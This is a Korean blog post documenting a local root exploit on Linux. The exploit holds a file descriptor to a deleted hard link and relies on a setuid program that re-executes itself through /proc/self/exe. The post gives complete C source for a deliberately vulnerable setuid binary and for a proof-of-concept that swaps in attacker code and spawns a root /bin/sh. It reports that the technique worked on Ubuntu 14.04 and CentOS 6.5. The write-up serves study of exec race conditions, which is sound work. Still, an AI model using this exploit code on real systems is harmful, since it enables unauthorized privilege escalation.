티스토리 뷰

The GNU C library dynamic linker expands $ORIGIN in setuid library search path

이 글은 위 취약점을 확인해보는 과정에서 알게된 내용으로 구성되어 있습니다. (연관성이 많이 없을수도...)


현재 접속한 계정 확인

$ whoami; id


먼저 hello.c 파일을 아래와 같이 작성하여 컴파일

hello.c:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#include <stdio.h>
#include <unistd.h>
int main()
{
    char buf[4096];
    readlink("/proc/self/exe", buf, sizeof(buf));
 
    printf("----------[hello]----------\n");
    printf("getuid(): %d\n", getuid());
    printf("geteuid(): %d\n", geteuid());
    printf("buf: %s\n", buf);
    printf("---------------------------\n");
 
    return 0;
}
cs



동일하게 bye.c 파일을 작성하여 컴파일

bye.c:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#include <stdio.h>
#include <unistd.h>
int main()
{
    char buf[4096];
    readlink("/proc/self/exe", buf, sizeof(buf));
 
    printf("-----------[bye]-----------\n");
    printf("getuid(): %d\n", getuid());
    printf("geteuid(): %d\n", geteuid());
    printf("buf: %s\n", buf);
    printf("---------------------------\n");
 
    return 0;
}
cs



$ ln -f hello say

hello 파일을 say 파일로 하드 링크


파일 디스크립터 3번으로 하드 링크로 만든 say 파일을 연결


연결을 하고나서 say 파일을 삭제

say 파일을 삭제하고 다시 보면 say (deleted) 표시가 되어 있지만, /proc/$$/fd/3 을 실행해보면 정상적으로 처음에 연결한 hello가 실행됨


삭제한 say 파일 대신 bye파일을 'say (deleted)' 파일로 하드 링크한 다음, 다시 확인해보면 표시가 변경된 것을 확인 가능


다시 /proc/$$/fd/3 을 실행해보면 처음과 동일하게 hello가 실행되지만 'say (deleted)' 파일은 bye 파일을 하드 링크하였기 때문에 bye가 실행됨


여기에서 앞에 실행한 결과들을 보면 readlink로 읽은 경로가 /home/guest/pwn/say (deleted)로 되어있는 것을 볼 수 있다.

따라서, 아래와 같은 상황이라면 쉘을 획득할 수 있는 시나리오를 만들 수 있다.


1. root(쉘을 획득할 수 있는 계정)로 setuid가 걸린 파일이 존재

2. /proc/self/exe를 통해서 현재 실행 중인 링크를 가지고 다시 실행 (자기 자신을 반복해서 실행하는 형태)


이 두 조건이 맞을 경우 현재 사용하고 있는 리눅스에서도 쉘 획득이 가능하였음

(Ubuntu 14.04, CentOS 6,5 에서 동작 확인, 20160128)


root 계정으로 취약한 코드 작성하여 컴파일

vulnerable.c:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#include <stdio.h>
#include <unistd.h>
int main(int argc, char *argv[], char *envp[])
{
 
    if(argc < 2)
    {
        char buf[4096];
        if(readlink("/proc/self/exe", buf, sizeof(buf)) < 0return 1;
 
        printf("----------[hello]----------\n");
        printf("getuid(): %d\n", getuid());
        printf("geteuid(): %d\n", geteuid());
        printf("buf: %s\n", buf);
        printf("---------------------------\n");
 
        char *args[] = { buf, "1"0 };
        if(execve(args[0], args, 0< 0return 1;
    }
 
    return 0;
}
cs


생성한 파일에 setuid 설정

# chmod u+s vulnerable


guest 계정으로 공격 코드 작성하여 컴파일

poc.c:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#include <stdio.h>
#include <unistd.h>
int main()
{
    char buf[4096];
    if(readlink("/proc/self/exe", buf, sizeof(buf)) < 0return 1;
    
    printf("-----------[bye]-----------\n");
    printf("getuid(): %d\n", getuid());
    printf("geteuid(): %d\n", geteuid());
    printf("buf: %s\n", buf);
    printf("---------------------------\n");
 
    if(geteuid() != 0return 1;
    
    setuid(geteuid());
    char *args[] = { "/bin/sh"0 };
    execve(args[0], args, 0);
 
    return 0;
}
cs



생성한 파일들을 실행하여 정상적으로 동작하는 지 확인

vulnerablegeteuid() 값이 0, pocgeteuid() 값이 1000


앞부분에서 한 것과 동일하게 취약한 vulnerable 파일을 target으로 하드 링크로 생성한 다음, 파일 디스크립터 3번으로 연결해준다.

그리고 target 파일을 삭제


공격 코드가 있는 poc 파일을 'target (deleted)'로 하드 링크로 생성한 다음, 해당되는 파일 디스크립터을 실행해주면 루트 쉘을 떨어뜨릴 수 있다.


조금 더 풀어서 이야기하자면, /proc/$$/fd/3 을 실행하면 먼저 [hello]에 해당되는 코드가 실행이 되면서 [hello] 코드 내에 있는 /proc/self/exe는 위 사진을 보면 알 수 있듯이 /home/guest/pwn/target (deleted) 값을 가진다. 따라서 /proc/$$/fd/3를 실행했지만 자기 자신을 다시 실행하는 과정에서 /proc/$$/fd/3가 아니라 /home/guest/pwn/target (deleted)가 실행이 된다. 이 때 해당 파일은 기존의 [hello] 코드가 아니라 [bye] 코드로 대체되어 있기 때문에 root 권한으로 [bye] 코드가 실행이 되면서 루트 쉘이 떨어진다.


즉, 루트가 실행하는 프로그램을 내가 원하는 프로그램으로 바꿔치기!



The GNU C library dynamic linker expands $ORIGIN in setuid library search path 시도해봤는데..실패


참고: http://seclists.org/fulldisclosure/2010/Oct/257


참고: http://blog.stalkr.net/2010/11/exec-race-condition-exploitations.html


참고: http://blog.cr0.org/2009/07/old-school-local-root-vulnerability-in.html


'History' 카테고리의 다른 글

미국 그리고 DEF CON 26  (0) 2018.10.04
CTF 최초 ALL CLEAR  (0) 2016.07.01
CTF 최초 FIRST BLOOD  (0) 2016.03.25
The GNU C library dynamic linker expands $ORIGIN in setuid library search path  (0) 2016.01.28
S/W 신규 취약점 (XE)  (0) 2015.01.28
댓글
댓글쓰기 폼
«   2020/05   »
          1 2
3 4 5 6 7 8 9
10 11 12 13 14 15 16
17 18 19 20 21 22 23
24 25 26 27 28 29 30
31            
링크
공지사항
Total
100,394
Today
70
Yesterday
107